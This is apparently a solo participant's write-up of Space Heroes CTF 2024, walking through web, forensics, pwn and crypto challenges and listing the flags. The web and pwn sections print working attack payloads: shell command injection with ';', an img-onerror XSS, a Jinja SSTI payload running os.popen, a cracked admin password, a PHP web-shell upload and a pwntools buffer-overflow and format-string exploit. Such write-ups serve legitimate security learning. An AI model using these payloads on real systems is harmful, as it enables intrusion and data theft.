Last updated: 14 Apr 24 22:45:15 (UTC)
SpaceHeroes
SpaceHeroes 2024
13/04 - 14/04
Space Heroes CTF returns for its third year! Hosted by FITSEC and Florida Tech, challenges will include all levels of difficulty (beginner to expert) for pwn, re, crypto, web, and forensics. This year's competition will also include prizes for the top in-person competitors as we will hold in coordination with Hack Space Con 24 CTF Start Time : 2024-04-12T22:00:00Z CTF End Time : 2024-04-14T23:00:00Z
Space Heroes CTF returns for its third year! Hosted by FITSEC and Florida Tech, challenges will include all levels of difficulty (beginner to expert) for pwn, re, crypto, web, and forensics.
This year's competition will also include prizes for the top in-person competitors as we will hold in coordination with Hack Space Con 24
CTF Start Time : 2024-04-12T22:00:00Z
CTF End Time : 2024-04-14T23:00:00Z
I participated in this CTF all alone and was able to learn some good things this ctf was a fun experience.
i ended 42nd out of 600+ team with 10 challenge flagged
for this writup in order :
- 4 Web (+1 small that did not flag)
- 3 Forensic
- 1 Pwn
- 2 Crypto
Slowly. Downward.
Web
we can see a site with a lot of trash content, we still find a login page that returns a js alert when wrong.
the request made when login :
we cant access the user.txt file, lets change the payload by removing If-Modified-Since & If-None-Match that are blocking our access to the page with their verifications
user : 4dm1n
since the file’s name is user.txt
lets send the same payload to try and GET a potential pass.txt
password : p4ssw0rd1sb0dy5n4tch3r5
it worked :
we cannot access the flag directly
it was an RCE :
arbiter.txt; cat secret/flag/txt shctf{sh0w_m3_th3_w0rld_a5_id_lov3_t0_s33_1t}
arbiter.txt; cat secret/flag/txt
shctf{sh0w_m3_th3_w0rld_a5_id_lov3_t0_s33_1t}
GTFO Jabba’s Palace
Web
we get a site with a searchbar
in the request we can see the cookie :
Cookie: jabba=myfavoritedecoration
was the right answer now we need a password
test
so there is this idea of J in a binary and GTFO lets try these :
i tried the GTFO list but didnt get anything so without anymore idea i looked all the J starting commands on my linux and made it a list
lets try it using burp intruder
had 3 interesting results :
there is a filter on words like cat, ls, credentials…
found in the source code of the new page that the bin is jq that can be used for file read
LFILE=flag.txt; jq -Rr . "$LFILE" & jq -Rr . flag.txt
LFILE=flag.txt; jq -Rr . "$LFILE"
&
jq -Rr . flag.txt
it didnt work because i forgot to put the " " 💀
(the backend was kinda shit and needed the command to be exactly executed with " " but in reality it works event without them)
now we need to find a way to get the flag.
by adding “;” after the command we can inject another command like in the first one, we now need to read flag.txt while bypassing the filters that are in place, for that lets use python :
jq -Rr . "flag.txt"; python -c "print(open('flag.txt').read())"
jq -Rr . "flag.txt"; python -c "print(open('flag.txt').read())"
antikythera
Web
we get a wheel that spins randomly, we can inject html code in a form to get an XSS, <script> is blocked but something like
<img src="x" onerror="alert()">
<img src="x" onerror="alert()">
works to execute js code
<img src="x" onerror="exec='test';document.write(exec)">
<img src="x" onerror="exec='test';document.write(exec)">
might be a SSTI
SSTI is comfirmed, lets use a tool like sstimap (didnt work)
anyway:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
got it now we need to find the flag !
shctf{SSTI_1s_m0r3_fun_!_Wh3n_1t_b3c0m3s_RC3!}
shctf{SSTI_1s_m0r3_fun_!_Wh3n_1t_b3c0m3s_RC3!}
knowhere gram
Web
we get a site with images and admin can upload images,
i signup as <h1>test</h1> to check for XSS while looking around.
found a potential XSS on the profile page
the login is made through 3 requests:
first :
url + id + token
second :
id + token to verify the connection
last one : just the id to print the name on the page (we might be able to use this to get the names of each id’s thus finding admin)
we look at the first id’s and find the admin id with email, username and hashed password
we managed to crack it using hashcat
and rockyou.txt
admin:superraccoon
url with id & token :
http://srv3.martiansonly.net:1111/home.php?id=13&token=a6872a843e420b3b6dbd3fd46ca0cf7d
http://srv3.martiansonly.net:1111/home.php?id=13&token=a6872a843e420b3b6dbd3fd46ca0cf7d
next step was to upload a shell and to get the flag, problem is someone managed to root the server that this chall was on (gg to the sysadmin) and thus the challenge was destroyed for a good time.
he even answered our messages through the index page and gave us a free shell to get the flag couldnt do the last part 😉
but i still went back to check the solution was to change the payload so that the file get uploaded as php and to go to /uploads/thefilename in order to run the shell, then get the /flag.txt without rooting and destroying the challenge (optional)
MartiansOnly (didnt flag it)
Web
we get a webapp with 3 pages, the home page that is basically empty, a page with a bunch of hot martians near my location (profile picture + description) and our profile page on which we can upload a picture and a name / description.
here is all the info i was able to gather for now:
- the file upload verifies the Mime type, and renames the image pic.jpg so cant exploit it for code upload it seems.
- the descriptions is stored in bio.txt
- the name is used to create a directory in which both are stored (might be exploitable to overwrite)
since i got the whole code lets get the docker running to test it locally since the server keeps crashing 24/7 (was annoying i just FF irl)
Petey the Panther’s Guide to the Galaxy
Forensics
we get an image
in this image using binwalk we find a LOT of images :
400 images that looks like a qr code so its a 20 per 20 image qr code
lets create a script using python and pillow to assemble the qr code
once we run it :
shctf{s0_l0ng_4nd_th4nks_f0r_4ll_th3_flags}
shctf{s0_l0ng_4nd_th4nks_f0r_4ll_th3_flags}
A Window into Space
Forensics
we get a network file
when we read it we get this :
after looking at all the packets we understand that each 2 packets there is one char beeing sent in order to create the flag we just need to get each char in order and to create it (it was LONNG)
the char that we want is the first after the P char in the payload
after getting everything the flag is :
shctf{1_sh0uld_try_h1d1ng_1n_th3_ch3cksum_n3xt_t1me_0817}
shctf{1_sh0uld_try_h1d1ng_1n_th3_ch3cksum_n3xt_t1me_0817}
Space Frisbee
Forensics
we can a .wav file.
lets use audacity to check for WaveForm & spectogram:
when we zoom in on the spectogram it kind of looks like morse code, lets see if there’s a hidden message in that
its not morse code BUT look at this :
shctf (flag format) in binary is : 01110011 01101000 01100011 01110100 01100110
shctf (flag format) in binary is : 01110011 01101000 01100011 01110100 01100110
and when we look at the wavelength (after zooming a little)
after more inspecting we can see that a bit is 0.010s long, it starts at 0 and the 8th bit (for ‘s’) is at 0.080s.
lets extract it !
the python code :
from scipy.io import wavfile sample_rate, data = wavfile.read('../space_frisbee.wav') # Calculate number of samples per bit (each bit = 10 ms) samples_per_bit = int(0.010 * sample_rate) # 10 ms worth of samples # Decode each bit based on average amplitude over each 10 ms interval binary_string = '' for start in range(0, len(data), samples_per_bit): segment = data[start:start+samples_per_bit] if len(segment) == 0: continue avg_amplitude = np.mean(np.abs(segment)) threshold_amplitude = np.percentile(np.abs(data), 50) # Using median as threshold binary_string += '1' if avg_amplitude > threshold_amplitude else '0' # Function to convert binary to ASCII def binary_to_text(binary_str): text = '' for i in range(0, len(binary_str), 8): byte = binary_str[i:i+8] if len(byte) == 8: text += chr(int(byte, 2)) return text # Convert binary string to text decoded_text = binary_to_text(binary_string) print(decoded_text[:100])
from scipy.io import wavfile
sample_rate, data = wavfile.read('../space_frisbee.wav')
# Calculate number of samples per bit (each bit = 10 ms)
samples_per_bit = int(0.010 * sample_rate) # 10 ms worth of samples
# Decode each bit based on average amplitude over each 10 ms interval
binary_string = ''
for start in range(0, len(data), samples_per_bit):
segment = data[start:start+samples_per_bit]
if len(segment) == 0:
continue
avg_amplitude = np.mean(np.abs(segment))
threshold_amplitude = np.percentile(np.abs(data), 50) # Using median as threshold
binary_string += '1' if avg_amplitude > threshold_amplitude else '0'
# Function to convert binary to ASCII
def binary_to_text(binary_str):
text = ''
for i in range(0, len(binary_str), 8):
byte = binary_str[i:i+8]
if len(byte) == 8:
text += chr(int(byte, 2))
return text
# Convert binary string to text
decoded_text = binary_to_text(binary_string)
print(decoded_text[:100])
shctf{1ts_d3f1n1t3ly_n0t_4_sp0rt}
shctf{1ts_d3f1n1t3ly_n0t_4_sp0rt}
Buzz Lightyears PWN Ranger School
Pwn
we get access to a bin, it is basically a list of challenges with good explanation of concepts and some exercises:
payload : AAAAAAAAAAAAAAAAA
payload : AAAAAAAAAAAAAAAAA
payload : %9$p
payload : %9$p
little more tricky we need to calculate a PIE address :
base address: 0x56428568b000 win() offset: 0x2139 PIE Address = Base + Offset PIE Address = 0x56428568D139
base address: 0x56428568b000
win() offset: 0x2139
PIE Address = Base + Offset
PIE Address = 0x56428568D139
last challenge :
and they gave us a pwntools code :
from pwn import * p = remote("spaceheroes-pwnschool.chals.io", 443, ssl=True, sni="spaceheroes-pwnschool.chals.io") p.recvuntil(b'>>> ') p.sendline(b'1') p.recvuntil(b'>>> ') # Overflowing the buffer in Step 1 p.sendline(cyclic(17)) p.recvuntil(b'>>> ') p.sendline(b'2') p.recvuntil(b'>>> ') # Leaking the PIE address in Step 2 p.sendline(b'%9$p') p.recvuntil(b' = ') p.recvuntil(b' = ') leak = int(p.recvline().strip(), 16) p.recvuntil(b'>>> ') p.sendline(b'3') p.recvuntil(b'win(): ') win_off = int(p.recvline().strip(), 16) # Calculating win address in Step 3 win = leak + win_off # Sometimes we need returns to line everything up ret = win - 1 print(hex(win)) p.recvuntil(b'>>> ') p.sendline(hex(win)) p.recvuntil(b'>>> ') p.sendline(b'4') p.recvuntil(b'>>> ') # Sending a bunch of returns to line up and overflow, then the address of win. p.sendline(p64(ret) * 6 + p64(win)) p.interactive()
from pwn import *
p = remote("spaceheroes-pwnschool.chals.io", 443, ssl=True, sni="spaceheroes-pwnschool.chals.io")
p.recvuntil(b'>>> ')
p.sendline(b'1')
p.recvuntil(b'>>> ')
# Overflowing the buffer in Step 1
p.sendline(cyclic(17))
p.recvuntil(b'>>> ')
p.sendline(b'2')
p.recvuntil(b'>>> ')
# Leaking the PIE address in Step 2
p.sendline(b'%9$p')
p.recvuntil(b' = ')
p.recvuntil(b' = ')
leak = int(p.recvline().strip(), 16)
p.recvuntil(b'>>> ')
p.sendline(b'3')
p.recvuntil(b'win(): ')
win_off = int(p.recvline().strip(), 16)
# Calculating win address in Step 3
win = leak + win_off
# Sometimes we need returns to line everything up
ret = win - 1
print(hex(win))
p.recvuntil(b'>>> ')
p.sendline(hex(win))
p.recvuntil(b'>>> ')
p.sendline(b'4')
p.recvuntil(b'>>> ')
# Sending a bunch of returns to line up and overflow, then the address of win.
p.sendline(p64(ret) * 6 + p64(win))
p.interactive()
the whole challenge was a good intruction to pwn concepts and to the pwntools library in python.
shctf{t0_pwnf1nity_&_b3y0nd!}
shctf{t0_pwnf1nity_&_b3y0nd!}
ᒣ⍑╎ϟ ╎ϟ リᒷᖋᒣ
crypto
the code used to encrypt the data :
from Crypto.Cipher import AES import binascii, os key = b"3153153153153153" iv = os.urandom(16) plaintext = open('message.txt', 'rb').read().strip() cipher = AES.new(key, AES.MODE_CBC, iv) encrypted_flag = open('message.enc', 'wb') encrypted_flag.write(binascii.hexlify(cipher.encrypt(plaintext))) encrypted_flag.close()
from Crypto.Cipher import AES
import binascii, os
key = b"3153153153153153"
iv = os.urandom(16)
plaintext = open('message.txt', 'rb').read().strip()
cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted_flag = open('message.enc', 'wb')
encrypted_flag.write(binascii.hexlify(cipher.encrypt(plaintext)))
encrypted_flag.close()
its a simple AES CBC so lets write a python code to decrypt it using the known plaintext and the info we have :
from Crypto.Cipher import AES import binascii key = b"3153153153153153" iv = b"\x91\xf2\x06\xb2\x98\x7e\x1e\xa7\xe9\x88\x61\x8a\x6e\xb4\xbc\xab" cipher = AES.new(key, AES.MODE_CBC, iv) with open('message.enc', 'rb') as file: encrypted_message = binascii.unhexlify(file.read()) decrypted_message = cipher.decrypt(encrypted_message) decrypted_message = decrypted_message.rstrip(b'\x00') if decrypted_message.startswith(b"Mortimer_McMire"): decrypted_message = decrypted_message[len(b"Mortimer_McMire"):] plaintext = decrypted_message.decode('latin-1') print("Decrypted message:", plaintext)
from Crypto.Cipher import AES
import binascii
key = b"3153153153153153"
iv = b"\x91\xf2\x06\xb2\x98\x7e\x1e\xa7\xe9\x88\x61\x8a\x6e\xb4\xbc\xab"
cipher = AES.new(key, AES.MODE_CBC, iv)
with open('message.enc', 'rb') as file:
encrypted_message = binascii.unhexlify(file.read())
decrypted_message = cipher.decrypt(encrypted_message)
decrypted_message = decrypted_message.rstrip(b'\x00')
if decrypted_message.startswith(b"Mortimer_McMire"):
decrypted_message = decrypted_message[len(b"Mortimer_McMire"):]
plaintext = decrypted_message.decode('latin-1')
print("Decrypted message:", plaintext)
shctf{th1s_was_ju5t_a_big_d1str4ction}
shctf{th1s_was_ju5t_a_big_d1str4ction}
Intergalactic Cinema
crypto
just took some time but eventually we get the flag :
shctf{d0_n0t_g0_g3ntle_into_that_g0od_n1ght}
shctf{d0_n0t_g0_g3ntle_into_that_g0od_n1ght}